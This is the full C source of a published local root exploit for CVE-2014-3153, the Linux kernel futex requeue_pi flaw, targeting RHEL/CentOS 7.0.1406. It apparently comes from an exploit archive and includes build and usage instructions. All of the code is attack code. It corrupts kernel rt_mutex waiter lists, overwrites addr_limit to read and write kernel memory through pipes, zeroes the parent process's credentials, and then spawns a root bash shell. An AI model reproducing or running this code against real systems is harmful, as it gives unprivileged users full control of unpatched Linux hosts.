Linux Kernel libfutex Local Root for RHEL/CentOS 7.0.1406 Exploit

/*
 * CVE-2014-3153 exploit for RHEL/CentOS 7.0.1406
 * By Kaiqu Chen ( [email protected] )
 * Based on libfutex and the expoilt for Android by GeoHot.
 *
 * Usage:
 * $gcc exploit.c -o exploit -lpthread
 * $./exploit
 *
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdbool.h>
#include <pthread.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <errno.h>
#include <linux/futex.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <netinet/in.h> 
#include <netinet/tcp.h> 
 
#define ARRAY_SIZE(a)   (sizeof (a) / sizeof (*(a)))
 
#define FUTEX_WAIT_REQUEUE_PI   11
#define FUTEX_CMP_REQUEUE_PI    12
#define USER_PRIO_BASE          120
#define LOCAL_PORT              5551
 
#define SIGNAL_HACK_KERNEL      12
#define SIGNAL_THREAD_EXIT      10
 
#define OFFSET_PID          0x4A4
#define OFFSET_REAL_PARENT  0x4B8
#define OFFSET_CRED         0x668
 
#define SIZEOF_CRED         160
#define SIZEOF_TASK_STRUCT  2912
#define OFFSET_ADDR_LIMIT   0x20
 
#define PRIO_LIST_OFFSET    8  
#define NODE_LIST_OFFSET    (PRIO_LIST_OFFSET + sizeof(struct list_head))
#define PRIO_LIST_TO_WAITER(list) (((void *)(list)) - PRIO_LIST_OFFSET)
#define WAITER_TO_PRIO_LIST(waiter) (((void *)(waiter)) + PRIO_LIST_OFFSET)
#define NODE_LIST_TO_WAITER(list) (((void *)(list)) - NODE_LIST_OFFSET)
#define WAITER_TO_NODE_LIST(waiter) (((void *)(waiter)) + NODE_LIST_OFFSET)
#define MUTEX_TO_PRIO_LIST(mutex) (((void *)(mutex)) + sizeof(long))
#define MUTEX_TO_NODE_LIST(mutex) (((void *)(mutex)) + sizeof(long) + sizeof(struct list_head))
 
////////////////////////////////////////////////////////////////////
struct task_struct;
 
struct thread_info {
  struct task_struct *task;
  void *exec_domain;
  int flags;
  int status;
  int cpu;
  int preempt_count;
  void *addr_limit;
};
 
struct list_head {
  struct list_head *next;
  struct list_head *prev;
};
 
struct plist_head {
    struct list_head node_list;
};
 
struct plist_node {
  int                     prio;
  struct list_head        prio_list;
  struct list_head        node_list;
};
 
struct rt_mutex {
    unsigned long       wait_lock;
    struct plist_head   wait_list;
    struct task_struct  *owner;
};
 
struct rt_mutex_waiter {
  struct plist_node       list_entry;
  struct plist_node       pi_list_entry;
  struct task_struct      *task;
  struct rt_mutex         *lock;
};
 
struct mmsghdr {
  struct msghdr msg_hdr;
  unsigned int  msg_len;
};
 
struct cred {
    int usage;
    int uid;        /* real UID of the task */
    int gid;        /* real GID of the task */
    int suid;       /* saved UID of the task */
    int sgid;       /* saved GID of the task */
    int euid;       /* effective UID of the task */
    int egid;       /* effective GID of the task */
    int fsuid;      /* UID for VFS ops */
    int fsgid;      /* GID for VFS ops */
};
 
////////////////////////////////////////////////////////////////////
 
static int swag = 0;
static int swag2 = 0;
static int main_pid;
 
static pid_t waiter_thread_tid;
 
static pthread_mutex_t hacked_lock;
static pthread_cond_t hacked;
 
static pthread_mutex_t done_lock;
static pthread_cond_t done;
 
static pthread_mutex_t is_thread_desched_lock;
static pthread_cond_t is_thread_desched;
 
static volatile int do_socket_tid_read = 0;
static volatile int did_socket_tid_read = 0;
 
static volatile int do_dm_tid_read = 0;
static volatile int did_dm_tid_read = 0;
 
static pid_t last_tid = 0;
 
static volatile int_sync_time_out = 0;
 
struct thread_info thinfo;
char task_struct_buf[SIZEOF_TASK_STRUCT];
struct cred cred_buf;
 
struct thread_info *hack_thread_stack = NULL;
 
pthread_t thread_client_to_setup_rt_waiter;
 
int listenfd;
int sockfd;
int clientfd;
 
////////////////////////////////////////////////////////////////
int gettid()
{
    return syscall(__NR_gettid);
}
 
ssize_t read_pipe(void *kbuf, void *ubuf, size_t count) {
    int pipefd[2];
    ssize_t len;
 
    pipe(pipefd);
 
    len = write(pipefd[1], kbuf, count);
 
    if (len != count) {
        printf("Thread %d failed in reading @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
        while(1) { sleep(10); }
    }
 
    read(pipefd[0], ubuf, count);
 
    close(pipefd[0]);
    close(pipefd[1]);
 
    return len;
}
 
ssize_t write_pipe(void *kbuf, void *ubuf, size_t count) {
    int pipefd[2];
    ssize_t len;
 
    pipe(pipefd);
 
    write(pipefd[1], ubuf, count);
    len = read(pipefd[0], kbuf, count);
 
    if (len != count) {
        printf("Thread %d failed in writing @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
        while(1) { sleep(10); }
    }
 
    close(pipefd[0]);
    close(pipefd[1]);
 
    return len;
}
 
int pthread_cancel_immediately(pthread_t thid)
{
    pthread_kill(thid, SIGNAL_THREAD_EXIT);
    pthread_join(thid, NULL);
    return 0;
}
 
void set_addr_limit(void *sp)
{
    long newlimit = -1;
    write_pipe(sp + OFFSET_ADDR_LIMIT, (void *)&newlimit, sizeof(long));
}
 
void set_cred(struct cred *kcred)
{
    struct cred cred_buf;
    int len;
 
    len = read_pipe(kcred, &cred_buf, sizeof(cred_buf));
    cred_buf.uid = cred_buf.euid = cred_buf.suid = cred_buf.fsuid = 0;
    cred_buf.gid = cred_buf.egid = cred_buf.sgid = cred_buf.fsgid = 0;
    len = write_pipe(kcred, &cred_buf, sizeof(cred_buf));
}
 
struct rt_mutex_waiter *pwaiter11;
 
void set_parent_cred(void *sp, int parent_tid)
{
    int len;
    int tid;
    struct task_struct *pparent;
    struct cred *pcred;
     
    set_addr_limit(sp);
     
    len = read_pipe(sp, &thinfo, sizeof(thinfo));
    if(len != sizeof(thinfo)) {
        printf("Read %p error %d\n", sp, len);
    }
     
    void *ptask = thinfo.task;
    len = read_pipe(ptask, task_struct_buf, SIZEOF_TASK_STRUCT);
    tid = *(int *)(task_struct_buf + OFFSET_PID);
 
    while(tid != 0 && tid != parent_tid) {
        pparent = *(struct task_struct **)(task_struct_buf + OFFSET_REAL_PARENT);
        len = read_pipe(pparent, task_struct_buf, SIZEOF_TASK_STRUCT);
        tid = *(int *)(task_struct_buf + OFFSET_PID);
    }
 
    if(tid == parent_tid) {
        pcred = *(struct cred **)(task_struct_buf + OFFSET_CRED);
        set_cred(pcred);
    } else
        printf("Pid %d not found\n", parent_tid);
    return;
}
 
static int read_voluntary_ctxt_switches(pid_t pid)
{
    char filename[256];
    FILE *fp;
    int vcscnt = -1;
 
    sprintf(filename, "/proc/self/task/%d/status", pid);
    fp = fopen(filename, "rb");
    if (fp) {
        char filebuf[4096];
        char *pdest;
        fread(filebuf, 1, sizeof filebuf, fp);
        pdest = strstr(filebuf, "voluntary_ctxt_switches");
        vcscnt = atoi(pdest + 0x19);
        fclose(fp);
    }
    return vcscnt;
}
 
static void sync_timeout_task(int sig)
{
    int_sync_time_out = 1;
}
 
static int sync_with_child_getchar(pid_t pid, int volatile *do_request, int volatile *did_request)
{
    while (*do_request == 0) { }
    printf("Press RETURN after one second...");
    *did_request = 1;
    getchar();
    return 0;
}
 
static int sync_with_child(pid_t pid, int volatile *do_request, int volatile *did_request)
{
    struct sigaction act;
    int vcscnt;
    int_sync_time_out = 0;
 
    act.sa_handler = sync_timeout_task;
    sigemptyset(&act.sa_mask);
    act.sa_flags = 0;
    act.sa_restorer = NULL;
    sigaction(SIGALRM, &act, NULL);
 
    alarm(3);
    while (*do_request == 0) {
        if (int_sync_time_out)
            return -1;
    }
     
    alarm(0);
    vcscnt = read_voluntary_ctxt_switches(pid);
    *did_request = 1;
    while (read_voluntary_ctxt_switches(pid) != vcscnt + 1) {
        usleep(10);
    }
 
    return 0;
}
 
static void sync_with_parent(int volatile *do_request, int volatile *did_request)
{
    *do_request = 1;
    while (*did_request == 0) { }
}
 
void fix_rt_mutex_waiter_list(struct rt_mutex *pmutex)
{
    struct rt_mutex_waiter *pwaiter6, *pwaiter7;
    struct rt_mutex_waiter waiter6, waiter7;
    struct rt_mutex mutex;
    if(!pmutex)
        return;
    read_pipe(pmutex, &mutex, sizeof(mutex));
    pwaiter6 = NODE_LIST_TO_WAITER(mutex.wait_list.node_list.next);
    if(!pwaiter6)
        return;
    read_pipe(pwaiter6, &waiter6, sizeof(waiter6));
    pwaiter7 = NODE_LIST_TO_WAITER(waiter6.list_entry.node_list.next);
    if(!pwaiter7)
        return;
    read_pipe(pwaiter7, &waiter7, sizeof(waiter7));
     
    waiter6.list_entry.prio_list.prev = waiter6.list_entry.prio_list.next;
    waiter7.list_entry.prio_list.next = waiter7.list_entry.prio_list.prev;
    mutex.wait_list.node_list.prev = waiter6.list_entry.node_list.next;
    waiter7.list_entry.node_list.next =  waiter6.list_entry.node_list.prev;
     
    write_pipe(pmutex, &mutex, sizeof(mutex));
    write_pipe(pwaiter6, &waiter6, sizeof(waiter6));
    write_pipe(pwaiter7, &waiter7, sizeof(waiter7));
}
 
static void void_handler(int signum)
{
    pthread_exit(0);
}
 
static void kernel_hack_task(int signum)
{
    struct rt_mutex *prt_mutex, rt_mutex;
    struct rt_mutex_waiter rt_waiter11;
    int tid = syscall(__NR_gettid);
    int pid = getpid();
 
    set_parent_cred(hack_thread_stack, main_pid);
     
    read_pipe(pwaiter11, (void *)&rt_waiter11, sizeof(rt_waiter11));
     
    prt_mutex = rt_waiter11.lock;
    read_pipe(prt_mutex, (void *)&rt_mutex, sizeof(rt_mutex));
     
    void *ptask_struct = rt_mutex.owner;
    ptask_struct = (void *)((long)ptask_struct & ~ 0xF);
    int len = read_pipe(ptask_struct, task_struct_buf, SIZEOF_TASK_STRUCT);
    int *ppid = (int *)(task_struct_buf + OFFSET_PID);
    void **pstack = (void **)&task_struct_buf[8];
    void *owner_sp = *pstack;
    set_addr_limit(owner_sp);
 
    pthread_mutex_lock(&hacked_lock);
    pthread_cond_signal(&hacked);
    pthread_mutex_unlock(&hacked_lock);
}
 
static void *call_futex_lock_pi_with_priority(void *arg)
{
    int prio;
    struct sigaction act;
    int ret;
     
    prio = (long)arg;
    last_tid = syscall(__NR_gettid);
     
    pthread_mutex_lock(&is_thread_desched_lock);
    pthread_cond_signal(&is_thread_desched);
     
    act.sa_handler = void_handler;
    sigemptyset(&act.sa_mask);
    act.sa_flags = 0;
    act.sa_restorer = NULL;
    sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
     
    act.sa_handler = kernel_hack_task;
    sigemptyset(&act.sa_mask);
    act.sa_flags = 0;
    act.sa_restorer = NULL;
    sigaction(SIGNAL_HACK_KERNEL, &act, NULL);
     
    setpriority(PRIO_PROCESS, 0, prio);
     
    pthread_mutex_unlock(&is_thread_desched_lock);
     
    sync_with_parent(&do_dm_tid_read, &did_dm_tid_read);
     
    ret = syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
     
    return NULL;
}
 
static pthread_t create_thread_do_futex_lock_pi_with_priority(int prio)
{
    pthread_t th4;
    pid_t pid;
     
    do_dm_tid_read = 0;
    did_dm_tid_read = 0;
     
    pthread_mutex_lock(&is_thread_desched_lock);
    pthread_create(&th4, 0, call_futex_lock_pi_with_priority, (void *)(long)prio);
    pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
     
    pid = last_tid;
     
    sync_with_child(pid, &do_dm_tid_read, &did_dm_tid_read);
     
    pthread_mutex_unlock(&is_thread_desched_lock);
     
    return th4;
}
 
static int server_for_setup_rt_waiter(void)
{
    int sockfd;
    int yes = 1;
    struct sockaddr_in addr = {0};
     
    sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
     
    setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
     
    addr.sin_family = AF_INET;
    addr.sin_port = htons(LOCAL_PORT);
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
     
    listen(sockfd, 1);
    listenfd = sockfd;
     
    return accept(sockfd, NULL, NULL);
}
 
static int connect_server_socket(void)
{
    int sockfd;
    struct sockaddr_in addr = {0};
    int ret;
    int sock_buf_size;
     
    sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
    if (sockfd < 0) {
        printf("socket failed\n");
        usleep(10);
    } else {
        addr.sin_family = AF_INET;
        addr.sin_port = htons(LOCAL_PORT);
        addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    }
     
    while (connect(sockfd, (struct sockaddr *)&addr, 16) < 0) {
        usleep(10);
    }
     
    sock_buf_size = 1;
    setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
     
    return sockfd;
}
 
unsigned long iov_base0, iov_basex;
size_t iov_len0, iov_lenx;
 
static void *client_to_setup_rt_waiter(void *waiter_plist)
{
    int sockfd;
    struct mmsghdr msgvec[1];
    struct iovec msg_iov[8];
    unsigned long databuf[0x20];
    int i;
    int ret;
    struct sigaction act;
     
    act.sa_handler = void_handler;
    sigemptyset(&act.sa_mask);
    act.sa_flags = 0;
    act.sa_restorer = NULL;
    sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
     
    waiter_thread_tid = syscall(__NR_gettid);
    setpriority(PRIO_PROCESS, 0, 12);
     
    sockfd = connect_server_socket();
    clientfd = sockfd;
     
    for (i = 0; i < ARRAY_SIZE(databuf); i++) {
    databuf[i] = (unsigned long)waiter_plist;
    }
     
    for (i = 0; i < ARRAY_SIZE(msg_iov); i++) {
    msg_iov[i].iov_base = waiter_plist;
    msg_iov[i].iov_len = (long)waiter_plist;
    }
    msg_iov[1].iov_base = (void *)iov_base0;
     
    msgvec[0].msg_hdr.msg_name = databuf;
    msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
    msgvec[0].msg_hdr.msg_iov = msg_iov;
    msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
    msgvec[0].msg_hdr.msg_control = databuf;
    msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
    msgvec[0].msg_hdr.msg_flags = 0;
    msgvec[0].msg_len = 0;
     
    syscall(__NR_futex, &swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &swag2, 0);
     
    sync_with_parent(&do_socket_tid_read, &did_socket_tid_read);
     
    ret = 0;
     
    while (1) {
    ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
    if (ret <= 0) {
        break;
    } else
        printf("sendmmsg ret %d\n", ret);
    }
    return NULL;
}
 
static void plist_set_next(struct list_head *node, struct list_head *head)
{
    node->next = head;
    head->prev = node;
    node->prev = head;
    head->next = node;
}
 
static void setup_waiter_params(struct rt_mutex_waiter *rt_waiters)
{
    rt_waiters[0].list_entry.prio = USER_PRIO_BASE + 9;
    rt_waiters[1].list_entry.prio = USER_PRIO_BASE + 13;
    plist_set_next(&rt_waiters[0].list_entry.prio_list, &rt_waiters[1].list_entry.prio_list);
    plist_set_next(&rt_waiters[0].list_entry.node_list, &rt_waiters[1].list_entry.node_list);
}
 
static bool do_exploit(void *waiter_plist)
{
    void *magicval, *magicval2;
    struct rt_mutex_waiter *rt_waiters;
    pid_t pid;
    pid_t pid6, pid7, pid12, pid11;
     
    rt_waiters = PRIO_LIST_TO_WAITER(waiter_plist);
     
    syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
     
    while (syscall(__NR_futex, &swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag) != 1) {
        usleep(10);
    }
     
    pthread_t th6 =  create_thread_do_futex_lock_pi_with_priority(6);
    pthread_t th7 =  create_thread_do_futex_lock_pi_with_priority(7);
     
    swag2 = 0;
    do_socket_tid_read = 0;
    did_socket_tid_read = 0;
     
    syscall(__NR_futex, &swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag2);
     
    if (sync_with_child_getchar(waiter_thread_tid, &do_socket_tid_read, &did_socket_tid_read) < 0) {
    return false;
    }
     
    setup_waiter_params(rt_waiters);
    magicval = rt_waiters[0].list_entry.prio_list.next;
    printf("Checking whether exploitable..");
    pthread_t th11 =  create_thread_do_futex_lock_pi_with_priority(11);
     
    if (rt_waiters[0].list_entry.prio_list.next == magicval) {
        printf("failed\n");
        return false;
    }
    printf("OK\nSeaching good magic...\n");
    magicval = rt_waiters[0].list_entry.prio_list.next;
     
    pthread_cancel_immediately(th11);
     
    pthread_t th11_1, th11_2;
    while(1) {
        setup_waiter_params(rt_waiters);
        th11_1 = create_thread_do_futex_lock_pi_with_priority(11);
        magicval = rt_waiters[0].list_entry.prio_list.next;
        hack_thread_stack = (struct thread_info *)((unsigned long)magicval & 0xffffffffffffe000);
        rt_waiters[1].list_entry.node_list.prev = (void *)&hack_thread_stack->addr_limit;
         
        th11_2 = create_thread_do_futex_lock_pi_with_priority(11);
        magicval2 = rt_waiters[1].list_entry.node_list.prev;
         
        printf("magic1=%p magic2=%p\n", magicval, magicval2);
        if(magicval < magicval2) {
            printf("Good magic found\nHacking...\n");
            break;
        } else {
            pthread_cancel_immediately(th11_1);
            pthread_cancel_immediately(th11_2);
        }      
    }
    pwaiter11 = NODE_LIST_TO_WAITER(magicval2);
    pthread_mutex_lock(&hacked_lock);
    pthread_kill(th11_1, SIGNAL_HACK_KERNEL);
    pthread_cond_wait(&hacked, &hacked_lock);
    pthread_mutex_unlock(&hacked_lock);
    close(listenfd);
     
    struct rt_mutex_waiter waiter11;
    struct rt_mutex *pmutex;
    int len = read_pipe(pwaiter11, &waiter11, sizeof(waiter11));
    if(len != sizeof(waiter11)) {
        pmutex = NULL;
    } else {
        pmutex = waiter11.lock;
    }
    fix_rt_mutex_waiter_list(pmutex);
     
    pthread_cancel_immediately(th11_1);
    pthread_cancel_immediately(th11_2);
     
    pthread_cancel_immediately(th7);
    pthread_cancel_immediately(th6);
    close(clientfd);
    pthread_cancel_immediately(thread_client_to_setup_rt_waiter);
     
    exit(0);
}
 
#define MMAP_ADDR_BASE  0x0c000000
#define MMAP_LEN        0x0c001000
 
int main(int argc, char *argv[])
{
    unsigned long mapped_address;
    void *waiter_plist;
     
    printf("CVE-2014-3153 exploit by Chen Kaiqu([email protected])\n");
   
    main_pid = gettid();
    if(fork() == 0) {
        iov_base0 = (unsigned long)mmap((void *)0xb0000000, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, /*MAP_POPULATE |*/ MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
        if (iov_base0 < 0xb0000000) {
            printf("mmap failed?\n");
            return 1;
        }
        iov_len0 = 0x10000;
         
        iov_basex = (unsigned long)mmap((void *)MMAP_ADDR_BASE, MMAP_LEN, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
        if (iov_basex < MMAP_ADDR_BASE) {
            printf("mmap failed?\n");
            return 1;
        }
        iov_lenx = MMAP_LEN;
         
        waiter_plist = (void *)iov_basex + 0x400;
        pthread_create(&thread_client_to_setup_rt_waiter, NULL, client_to_setup_rt_waiter, waiter_plist);
         
        sockfd = server_for_setup_rt_waiter();
        if (sockfd < 0) {
            printf("Server failed\n");
            return 1;
        }
         
        if (!do_exploit(waiter_plist)) {
            return 1;
        }
        return 0;
    }
 
    while(getuid())
        usleep(100);
    execl("/bin/bash", "bin/bash", NULL);
    return 0;
}

#  0day.today [2018-01-03]  #